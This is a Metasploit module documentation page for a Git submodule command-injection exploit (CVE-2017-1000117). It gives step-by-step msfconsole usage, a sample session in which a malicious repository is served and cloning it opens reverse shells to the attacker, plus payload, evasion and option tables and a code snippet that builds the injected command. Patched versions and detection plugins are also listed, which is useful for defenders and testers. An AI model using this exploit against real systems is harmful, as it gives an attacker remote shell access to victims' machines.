Malicious Git HTTP Server For CVE-2017-1000117 - Metasploit
This page contains detailed information about how to use the exploit/multi/http/git_submodule_command_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Malicious Git HTTP Server For CVE-2017-1000117
Module: exploit/multi/http/git_submodule_command_exec
Source code: modules/exploits/multi/http/git_submodule_command_exec.rb
Disclosure date: 2017-08-10
Last modification time: 2021-08-09 11:49:29 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-1000117
This module exploits CVE-2017-1000117, which affects Git version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed parameters from the username incorrectly. This can be used to inject commands to the operating system when the submodule is cloned. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > exploit
Knowledge Base
Vulnerable Application
Git can be installed on a variety of operating systems, however newer versions may contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
xcode-select --install
On Linux it can be installed with apt:
sudo apt-get update && sudo apt-get install git
You can check the version with git --version
.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
Verification Steps
Example steps in this format:
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/git_submodule_command_exec
- Do:
set SRVHOST [local host]
- Do:
set LHOST [local host]
- Do:
exploit
- Clone the malicious Git URI and its submodules
- You should get a shell
Options
GIT_URI
This is the URI the git repository will be hosted from (defaults to random).
GIT_SUBMODULE
This is the URI of the submodule within the git repository (defaults to random). The url of this submodule, when cloned, will execute the payload.
Scenarios
Example usage against a macOS Sierra x64 bit target running git version 2.10.1
msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
***
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
***
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
Go back to menu.
Msfconsole Usage
Here is how the multi/http/git_submodule_command_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/git_submodule_command_exec
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/http/git_submodule_command_exec) > show info
Name: Malicious Git HTTP Server For CVE-2017-1000117
Module: exploit/multi/http/git_submodule_command_exec
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-08-10
Provided by:
timwr
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
GIT_SUBMODULE no The path to use as the malicious git submodule (empty for random)
GIT_URI no The URI to use as the malicious Git instance (empty for random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits CVE-2017-1000117, which affects Git version
2.7.5 and lower. A submodule of the form 'ssh://' can be passed
parameters from the username incorrectly. This can be used to inject
commands to the operating system when the submodule is cloned. This
module creates a fake git repository which contains a submodule
containing the vulnerability. The vulnerability is triggered when
the submodules are initialised.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-1000117
https://seclists.org/oss-sec/2017/q3/280
Module Options
This is a complete list of options available in the multi/http/git_submodule_command_exec exploit:
msf6 exploit(multi/http/git_submodule_command_exec) > show options
Module options (exploit/multi/http/git_submodule_command_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
GIT_SUBMODULE no The path to use as the malicious git submodule (empty for random)
GIT_URI no The URI to use as the malicious Git instance (empty for random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/git_submodule_command_exec exploit:
msf6 exploit(multi/http/git_submodule_command_exec) > show advanced
Module advanced options (exploit/multi/http/git_submodule_command_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/git_submodule_command_exec module can exploit:
msf6 exploit(multi/http/git_submodule_command_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/git_submodule_command_exec exploit:
msf6 exploit(multi/http/git_submodule_command_exec) > show payloads
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/git_submodule_command_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/git_submodule_command_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
GIT_URI must start with a /
Here is a relevant code snippet related to the "GIT_URI must start with a /" error message:
74: end
75:
76: def setup_git
77: # URI must start with a /
78: unless git_uri && git_uri =~ /^\//
79: fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
80: end
81:
82: payload_cmd = payload.encoded + " &"
83: payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
84:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10828 Merged Pull Request: git submodule url exec (CVE-2018-17456)
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8826 Merged Pull Request: git submodule command execution (CVE-2017-1000117)
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/git_client_command_exec
- exploit/multi/http/git_lfs_clone_command_exec
- exploit/multi/http/git_submodule_url_exec
- auxiliary/scanner/http/git_scanner
- exploit/windows/http/git_lfs_rce
- exploit/linux/http/bitbucket_git_cmd_injection
- exploit/linux/http/github_enterprise_secret
- exploit/linux/http/gitlist_exec
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/multi/http/gitea_git_fetch_rce
- exploit/multi/http/gitea_git_hooks_rce
- exploit/multi/http/gitlab_exif_rce
- exploit/multi/http/gitlab_file_read_rce
- exploit/multi/http/gitlab_shell_exec
- exploit/multi/http/gitlist_arg_injection
- exploit/multi/http/gitorious_graph
- exploit/multi/http/gogs_git_hooks_rce
- exploit/windows/browser/logitechvideocall_start
- exploit/windows/fileformat/digital_music_pad_pls
- exploit/windows/http/gitstack_rce
- auxiliary/admin/http/gitstack_rest
- auxiliary/scanner/http/cgit_traversal
- auxiliary/scanner/http/gitlab_graphql_user_enum
- auxiliary/scanner/http/gitlab_login
- auxiliary/scanner/http/gitlab_user_enum
- auxiliary/scanner/ssh/ssh_enum_git_keys
- post/osx/gather/gitignore
- exploit/multi/http/metasploit_webui_console_command_execution
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
Related Nessus plugins:
- Debian DSA-3934-1 : git - security update
- Ubuntu 14.04 LTS / 16.04 LTS / 17.04 : git vulnerability (USN-3387-1)
- Slackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / 14.2 / current : git (SSA:2017-223-01)
- Fedora 25 : git (2017-8ba7572cfd)
- Fedora 26 : git (2017-b1b3ae6666)
- Git for Windows 2.7.x < 2.7.6 / 2.8.x < 2.8.6 / 2.9.x < 2.9.5 / 2.10.x < 2.10.4 / 2.11.x < 2.11.13 / 2.12.x < 2.12.4 / 2.13.x < 2.13.5 / 2.14.x < 2.14.1 Malicious SSH URL Command Execution
- Oracle Linux 7 : git (ELSA-2017-2484)
- RHEL 7 : git (RHSA-2017:2484)
- RHEL 6 : git (RHSA-2017:2485)
- CentOS 6 : git (CESA-2017:2485)
Authors
timwr
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.